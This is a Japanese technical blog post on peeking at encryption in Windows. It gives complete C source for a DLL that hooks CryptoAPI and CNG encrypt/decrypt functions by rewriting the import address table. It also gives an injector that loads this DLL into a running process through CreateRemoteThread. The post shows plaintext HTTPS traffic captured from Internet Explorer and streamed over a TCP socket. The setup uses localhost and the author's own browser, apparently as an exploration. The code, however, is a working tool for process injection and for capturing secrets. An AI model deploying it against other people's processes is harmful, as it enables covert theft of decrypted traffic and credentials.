DLL injectionでWindows APIによる暗号化処理を覗いてみる
「LD_PRELOAD injectionでOpenSSLによる暗号化処理を覗いてみる」では、Linux環境におけるOpenSSLを使った暗号化処理を覗いてみた。 ここでは、「IAT書き換えによるAPIフックをやってみる」と同様の方法にて、Windows環境におけるWindows APIを使った暗号化処理を覗いてみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo
OS 名: Microsoft Windows 8.1 Pro
OS バージョン: 6.3.9600 N/A ビルド 9600
OS ビルドの種類: Multiprocessor Free
システムの種類: x64-based PC
プロセッサ: 1 プロセッサインストール済みです。
[01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz
>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
フックするDLLを作ってみる
暗号化処理に関するWindows APIには、古くからあるCryptoAPI系のものとVista以降で導入されたCNG系のものがある。 以下のリファレンスを参考に、フックするDLLのコードを書くと次のようになる。
/* hook_cryptoapi.c */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h> /* CreateToolhelp32Snapshot */
#include <Dbghelp.h> /* ImageDirectoryEntryToData */
#include <Wincrypt.h>
#include <bcrypt.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Dbghelp")
#pragma comment(lib, "ws2_32")
void modifyIAT(char *modname, void *origaddr, void *newaddr);
void modifyIATonemod(char *modname, void *origaddr, void *newaddr, HMODULE hModule);
BOOL newCryptEncrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen, DWORD dwBufLen);
BOOL newCryptDecrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen);
NTSTATUS newBCryptEncrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags);
NTSTATUS newBCryptDecrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags);
FARPROC origCryptEncrypt;
FARPROC origCryptDecrypt;
FARPROC origBCryptEncrypt;
FARPROC origBCryptDecrypt;
WSADATA wsaData;
SOCKET s;
SOCKET create_connection(char *host, int port)
{
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
SOCKADDR_IN name;
name.sin_family = AF_INET;
name.sin_addr.s_addr = inet_addr(host);
name.sin_port = htons(port);
connect(s, (SOCKADDR *)&name, sizeof(name));
return s;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HMODULE advapi32 = GetModuleHandle("advapi32");
HMODULE bcrypt = GetModuleHandle("bcrypt");
origCryptEncrypt = GetProcAddress(advapi32, "CryptEncrypt");
origCryptDecrypt = GetProcAddress(advapi32, "CryptDecrypt");
origBCryptEncrypt = GetProcAddress(bcrypt, "BCryptEncrypt");
origBCryptDecrypt = GetProcAddress(bcrypt, "BCryptDecrypt");
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
s = create_connection("127.0.0.1", 5000);
modifyIAT("advapi32.dll", origCryptEncrypt, newCryptEncrypt);
modifyIAT("advapi32.dll", origCryptDecrypt, newCryptDecrypt);
modifyIAT("bcrypt.dll", origBCryptEncrypt, newBCryptEncrypt);
modifyIAT("bcrypt.dll", origBCryptDecrypt, newBCryptDecrypt);
break;
case DLL_PROCESS_DETACH:
modifyIAT("advapi32.dll", newCryptEncrypt, origCryptEncrypt);
modifyIAT("advapi32.dll", newCryptDecrypt, origCryptDecrypt);
modifyIAT("bcrypt.dll", newBCryptEncrypt, origBCryptEncrypt);
modifyIAT("bcrypt.dll", newBCryptDecrypt, origBCryptDecrypt);
closesocket(s);
break;
}
return TRUE;
}
void modifyIAT(char *modname, void *origaddr, void *newaddr)
{
HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
MODULEENTRY32 me;
me.dwSize = sizeof(me);
/* modify IAT in all loaded modules */
BOOL bModuleResult = Module32First(hModuleSnap, &me);
while (bModuleResult) {
modifyIATonemod(modname, origaddr, newaddr, me.hModule);
bModuleResult = Module32Next(hModuleSnap, &me);
}
CloseHandle(hModuleSnap);
}
void modifyIATonemod(char *modname, void *origaddr, void *newaddr, HMODULE hModule)
{
ULONG ulSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
pImportDesc = ImageDirectoryEntryToData(hModule, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ulSize);
if (pImportDesc == NULL) {
return;
}
/* seek the target DLL */
while (pImportDesc->Name) {
char *name = (char*)hModule + pImportDesc->Name;
if (lstrcmpi(name, modname) == 0) {
break;
}
pImportDesc++;
}
if (pImportDesc->Name == 0) {
return;
}
/* modify corrensponding IAT entry */
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((char *)hModule + pImportDesc->FirstThunk);
while (pThunk->u1.Function) {
PROC *paddr = (PROC*)&pThunk->u1.Function;
if (*paddr == origaddr) {
DWORD flOldProtect;
VirtualProtect(paddr, sizeof(paddr), PAGE_EXECUTE_READWRITE, &flOldProtect);
*paddr = newaddr;
VirtualProtect(paddr, sizeof(paddr), flOldProtect, &flOldProtect);
}
pThunk++;
}
}
BOOL newCryptEncrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen, DWORD dwBufLen)
{
send(s, "[CryptEncrypt] ", 15, 0);
send(s, pbData, dwBufLen, 0);
send(s, "\n", 1, 0);
return origCryptEncrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen);
}
BOOL newCryptDecrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen)
{
BOOL ret = origCryptDecrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen);
send(s, "[CryptDecrypt] ", 15, 0);
send(s, pbData, *pdwDataLen, 0);
send(s, "\n", 1, 0);
return ret;
}
NTSTATUS newBCryptEncrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags)
{
send(s, "[BCryptEncrypt] ", 16, 0);
send(s, pbInput, cbInput, 0);
send(s, "\n", 1, 0);
return origBCryptEncrypt(hKey, pbInput, cbInput, pPaddingInfo, pbIV, cbIV, pbOutput, cbOutput, pcbResult, dwFlags);
}
NTSTATUS newBCryptDecrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags)
{
NTSTATUS ret = origBCryptDecrypt(hKey, pbInput, cbInput, pPaddingInfo, pbIV, cbIV, pbOutput, cbOutput, pcbResult, dwFlags);
send(s, "[BCryptDecrypt] ", 16, 0);
send(s, pbOutput, *pcbResult, 0);
send(s, "\n", 1, 0);
return ret;
}
上のコードでは、ローカルホストのTCPの5000番ポートに接続し、ログを送信する。
次に、上のDLLをDLL injectionするコードを書くと次のようになる。
/* injector.c */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
WSADATA wsaData;
SOCKET listen_connection(int port)
{
SOCKADDR_IN name;
BOOL yes = 1;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));
name.sin_family = AF_INET;
name.sin_addr.s_addr = INADDR_ANY;
name.sin_port = htons(port);
bind(s, (SOCKADDR *)&name, sizeof(name));
listen(s, 5);
puts("[+] listening on 0.0.0.0 port 5000");
return s;
}
VOID interact(SOCKET s)
{
SOCKET c = accept(s, NULL, NULL);
closesocket(s);
puts("[+] connection accepted");
char buf[8192];
while (1) {
int size = recv(c, buf, 8192, 0);
if (size == 0) {
break;
}
fwrite(buf, size, 1, stdout);
}
closesocket(c);
}
int main(int argc, char *argv[])
{
SOCKET s = listen_connection(5000);
char dllpath[] = "C:\\Users\\user\\Desktop\\test\\hook_cryptoapi.dll";
int pid = atoi(argv[1]);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
void *datamemory = VirtualAllocEx(hProcess, NULL, sizeof(dllpath), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, datamemory, (void *)dllpath, sizeof(dllpath), NULL);
HMODULE kernel32 = GetModuleHandle("kernel32");
FARPROC loadlibrary = GetProcAddress(kernel32, "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadlibrary, datamemory, 0, NULL);
if (!hThread) {
/* 32 bit (WOW64) -> 64 bit (Native) won't work */
char errmsg[512];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errmsg, sizeof(errmsg), NULL);
printf("%hs", errmsg);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFreeEx(hProcess, datamemory, sizeof(dllpath), MEM_RELEASE);
interact(s);
return 0;
}
上のコードでは、TCPの5000番ポートを待ち受け、受信した文字列をコンソールに出力する。
それぞれのコードをコンパイルし、Internet ExplorerのプロセスにDLL injectionを行った後、https://www.example.com/へアクセスすると次のようになる。
>cl hook_cryptoapi.c /LD >cl injector.c >tasklist イメージ名 PID セッション名 セッション# メモリ使用量 ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 4 K System 4 Services 0 10,836 K (snip) iexplore.exe 5560 Console 1 26,436 K iexplore.exe 6536 Console 1 138,760 K SearchProtocolHost.exe 9180 Console 1 7,396 K tasklist.exe 7232 Console 1 5,960 K >injector.exe 6536 [+] listening on 0.0.0.0 port 5000 [+] connection accepted [BCryptEncrypt] GET / HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: ja User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MANMJS; rv:11.0) li ke Gecko Accept-Encoding: gzip, deflate Host: www.example.com Connection: Keep-Alive Cache-Control: no-cache (snip) [BCryptDecrypt] HTTP/1.1 200 OK Content-Encoding: gzip Cache-Control: max-age=604800 Content-Type: text/html Date: Mon, 14 Mar 2016 13:08:19 GMT Etag: "359670651+gzip" Expires: Mon, 21 Mar 2016 13:08:19 GMT Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT Server: ECS (rhv/8199) Vary: Accept-Encoding X-Cache: HIT x-ec-custom-error: 1 Content-Length: 606 (snip)
上の結果から、暗号化前および復号後の内容が取得できていることが確認できる。